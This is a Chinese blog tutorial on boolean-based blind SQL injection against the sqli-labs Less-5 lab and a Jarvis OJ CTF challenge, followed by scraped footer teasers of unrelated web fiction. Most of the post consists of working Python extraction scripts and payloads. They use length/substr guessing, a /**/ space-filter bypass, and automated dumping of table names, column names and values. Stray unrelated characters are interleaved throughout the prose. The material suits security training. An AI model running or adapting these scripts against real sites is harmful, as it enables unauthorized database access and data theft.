SQL注入之布爾盲注


title: SQL注入之布爾盲注
date: 2019-05-25 14:05:48
tags:
- SQL注入
- 布爾盲注
- python腳本
- sqli-labs
categories:
- Web安全
- SQL注入


之前看sqli-labs的時候踪央,有些東西沒有仔細研究蛉鹿,現(xiàn)在折回來細學一下。先從布爾盲注開始净薛,后面還會繼續(xù)更新像啼。


前言

簡單寫了寫python腳本俘闯,寫了get型的,也寫了post型忽冻。
get型的腳本主要是以sqli-labs的less-5真朗、6做例子,post型的是用Jarvis Oj上的simple injection一題為例僧诚。
想用二分法猜表名遮婶、列名但最后沒用,直接用的枚舉湖笨,因為覺得直接枚舉的速度日常做做題夠用了(233)


原理

什么叫盲注旗扑,說白了就是在sql注入過程中,sql語句的執(zhí)行結(jié)果不回顯到前端赶么,這個時候就只能用一些別的方法進行判斷或者嘗試肩豁,這個判斷或嘗試過程就叫盲注。盲注又可以分為:1、基于布爾SQL盲注 2清钥、基于時間的盲注 3琼锋、基于報錯的盲注

我今天這里寫的是基于布爾的SQL盲注。


例子

GET型

這里選的是sqli-labs的less-5做講解祟昭。


image

既然是布爾盲注缕坎,那頁面回顯結(jié)果肯定要能被判別成True和False。
比如這里的less-5篡悟,當我們訪問http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1谜叹,頁面返回You are in...,而當我們訪問http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1'搬葬,頁面返回sql語句報錯信息荷腊,沒有You are in...

image

這里就可以把頁面有You are in...視為True急凰,沒有視為False女仰。然后我們就能以這個為標準去進行判斷枚舉。比如我們想要猜測數(shù)據(jù)庫的長度抡锈,判斷它是不是大于7疾忍,我們就可以訪問http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1' and length(database())>7 %23,結(jié)果頁面返回You are in...床三,說明結(jié)果為True一罩,就是說數(shù)據(jù)庫長度大于7,于是我們就能進行進一步猜測撇簿,通過枚舉或者夾逼的方法聂渊,最終確定數(shù)據(jù)庫長度。猜解數(shù)據(jù)庫名的話补疑,就用substr函數(shù)歧沪,例如http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1' and substr(database(),1,1)>'r' %23,這是判斷數(shù)據(jù)庫首位是否大于'r'莲组,根據(jù)結(jié)果可進一步推測并最終確定,方法也是枚舉或者夾逼暖夭。

POST型

這里選用Jarvis Oj的simple injection題锹杈。http://web.jarvisoj.com:32787/login.php
這題經(jīng)過測試,發(fā)現(xiàn)當頁面回顯密碼錯誤時迈着,邏輯為True竭望,當頁面回顯用戶名錯誤時,邏輯為False裕菠。然后過濾了空格咬清,可用/**/替代。找到這個布爾判斷邏輯后,接下來的操作跟上面GET型講的就差不多了旧烧。

測試完后影钉,就可以用寫腳本,讓python幫我們?nèi)ゲ铝恕?/p>


腳本編寫思路

python3 布爾盲注編寫思路
先手工測試掘剪,找到用來判斷True平委、False的標志,再看看存不存在過濾夺谁。手工測試完了后廉赔,就按下面流程來寫代碼,先用length函數(shù)獲取要猜的對象的長度匾鸥,然后根據(jù)這個長度利用substr函數(shù)逐位猜解蜡塌。主要分兩個函數(shù)

  1. 爆長度函數(shù)get_length(url,obj) 猜表長度、列長度
    obj參數(shù)舉例:
    obj = "database()"
    obj = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
  2. 爆名字函數(shù)get_name(url,obj) obj語句里用group_concat勿负,全猜了馏艾,而不用limit

貼腳本

GET型——sqli-labs Less-5

'''
@Author: Miracle778
@Date: 2019-05-24 21:31:41
@LastEditors: Miracle778
@LastEditTime: 2019-05-25 12:44:58
@Description: 盲注腳本GET型
'''
import requests
import string

class GetInject:
    # mysql不區(qū)分大小寫,一般表名笆环、列名都是由字母組成的比較多攒至,所以把字母集放前面,先枚舉
    chr_str = string.ascii_lowercase + string.punctuation + string.digits 
    def __init__(self,url,mark,obj):
        '''
        obj參數(shù)舉例:
        obj = "database()"
        obj = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
        '''
        self.url = url
        self.mark = mark
        self.obj = obj
    
    def get_length(self):
        payload_len = "' and length({0})={1} --+"
        #如果實例參數(shù)是雙引號型或者整數(shù)型躁劣,記得把改payload格式
        i = 1
        while True:
            payload_len_i = payload_len.format(self.obj,i)
            r = requests.get(self.url+payload_len_i)
            if self.mark in r.text:
                print("len",i)
                return i
            i += 1

    def get_name(self):
        name_len = self.get_length()
        payload_name = "' and substr({0},{1},1)='{2}' --+"
        output = ''
        for i in range(1,name_len + 1):
            for c in self.chr_str:  # 直接枚舉
                payload_name_i = payload_name.format(self.obj,i,c)
                r = requests.get(url+payload_name_i)
                if self.mark in r.text:
                    output += c
                    print(output)
                    break
        return output

# mark 是判斷為True還是False的標志迫吐,這里是you are in
url = "http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1"
mark = "You are in"
obj_t = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
obj_c = "(select group_concat(column_name) from information_schema.columns where table_schema=database())"

test1 = GetInject(url,mark,obj_t)
test1.get_name()

圖中代碼測試了一下爆表名,執(zhí)行結(jié)果如下圖账忘。


image

如果用這個腳本跑別的實例的話志膀,稍微改下url、mark鳖擒、payload就好了溉浙。相關(guān)注釋也都寫在代碼中了。


POST型——Jarvis OJ simple Injection

'''
@Author: Miracle778
@Date: 2019-05-25 12:45:17
@LastEditors: Miracle778
@LastEditTime: 2019-05-25 14:00:13
@Description: Jarvis Oj simple injection post型盲注蒋荚,過濾了空格
'''

import requests
import string


def get_length(url,obj):
    payload_len = "admin' and length({0})={1}#".replace(' ','/**/')
    i = 1
    while True:
        payload_len_i = payload_len.format(obj,i)
        param['username'] = payload_len_i
        r = requests.post(url,data=param)
        if mark not in r.text: 
            print("len:",i)
            return i
        i += 1

def get_name(url,obj):
    payload_name = "admin' and substr({0},{1},1)='{2}'#".replace(' ','/**/')
    name_len = get_length(url,obj)
    chr_str = string.ascii_lowercase + string.digits + string.punctuation
    output = ''
    for i in range(1,name_len+1):
        for c in chr_str:
            payload_name_i = payload_name.format(obj,i,c)
            param['username'] = payload_name_i
            r = requests.post(url,data=param)
            if mark not in r.text:
                output += c
                # print(output)
                break
    return output


url = "http://web.jarvisoj.com:32787/login.php"
param = {"password":"123"}
mark = "用戶名錯誤"

obj_t = "(select group_concat(table_name) from information_schema.tables where table_schema=database())".replace(' ','/**/')
obj_c = "(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{0}')".replace(' ','/**/')
obj_v = "(select group_concat({0}) from {1})".replace(' ','/**/')

table_name = get_name(url,obj_t).split(',')
for i in table_name:
    print("table:",i)
    obj_c_i = obj_c.format(i)
    column_name = get_name(url,obj_c_i).split(',')
    print("column:",column_name)
    for j in column_name:
        obj_v_i = obj_v.format(j,i)
        value = get_name(url,obj_v_i).split(',')
        print("{0}.{1}:{2}".format(i,j,value))

整體代碼結(jié)構(gòu)跟GET型差不多戳稽,就是把請求類型改成了post,然后用/**/代替空格期升。
執(zhí)行結(jié)果如下圖惊奇。

image


小結(jié)

代碼寫的確實有點辣雞,將就看吧播赁。颂郎。。容为。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末乓序,一起剝皮案震驚了整個濱河市寺酪,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌替劈,老刑警劉巖寄雀,帶你破解...
    沈念sama閱讀 221,576評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異抬纸,居然都是意外死亡咙俩,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,515評論 3 399
  • 文/潘曉璐 我一進店門湿故,熙熙樓的掌柜王于貴愁眉苦臉地迎上來阿趁,“玉大人,你說我怎么就攤上這事坛猪〔闭螅” “怎么了?”我有些...
    開封第一講書人閱讀 168,017評論 0 360
  • 文/不壞的土叔 我叫張陵墅茉,是天一觀的道長命黔。 經(jīng)常有香客問我,道長就斤,這世上最難降的妖魔是什么悍募? 我笑而不...
    開封第一講書人閱讀 59,626評論 1 296
  • 正文 為了忘掉前任,我火速辦了婚禮洋机,結(jié)果婚禮上坠宴,老公的妹妹穿的比我還像新娘。我一直安慰自己绷旗,他們只是感情好喜鼓,可當我...
    茶點故事閱讀 68,625評論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著衔肢,像睡著了一般庄岖。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上角骤,一...
    開封第一講書人閱讀 52,255評論 1 308
  • 那天隅忿,我揣著相機與錄音,去河邊找鬼邦尊。 笑死硼控,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的胳赌。 我是一名探鬼主播,決...
    沈念sama閱讀 40,825評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼匙隔,長吁一口氣:“原來是場噩夢啊……” “哼疑苫!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,729評論 0 276
  • 序言:老撾萬榮一對情侶失蹤捍掺,失蹤者是張志新(化名)和其女友劉穎撼短,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體挺勿,經(jīng)...
    沈念sama閱讀 46,271評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡曲横,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,363評論 3 340
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了不瓶。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片禾嫉。...
    茶點故事閱讀 40,498評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖蚊丐,靈堂內(nèi)的尸體忽然破棺而出熙参,到底是詐尸還是另有隱情,我是刑警寧澤麦备,帶...
    沈念sama閱讀 36,183評論 5 350
  • 正文 年R本政府宣布孽椰,位于F島的核電站,受9級特大地震影響凛篙,放射性物質(zhì)發(fā)生泄漏黍匾。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,867評論 3 333
  • 文/蒙蒙 一呛梆、第九天 我趴在偏房一處隱蔽的房頂上張望锐涯。 院中可真熱鬧,春花似錦削彬、人聲如沸全庸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,338評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽壶笼。三九已至,卻和暖如春雁刷,著一層夾襖步出監(jiān)牢的瞬間覆劈,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,458評論 1 272
  • 我被黑心中介騙來泰國打工沛励, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留责语,地道東北人。 一個月前我還...
    沈念sama閱讀 48,906評論 3 376
  • 正文 我出身青樓目派,卻偏偏與公主長得像坤候,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子企蹭,可洞房花燭夜當晚...
    茶點故事閱讀 45,507評論 2 359

推薦閱讀更多精彩內(nèi)容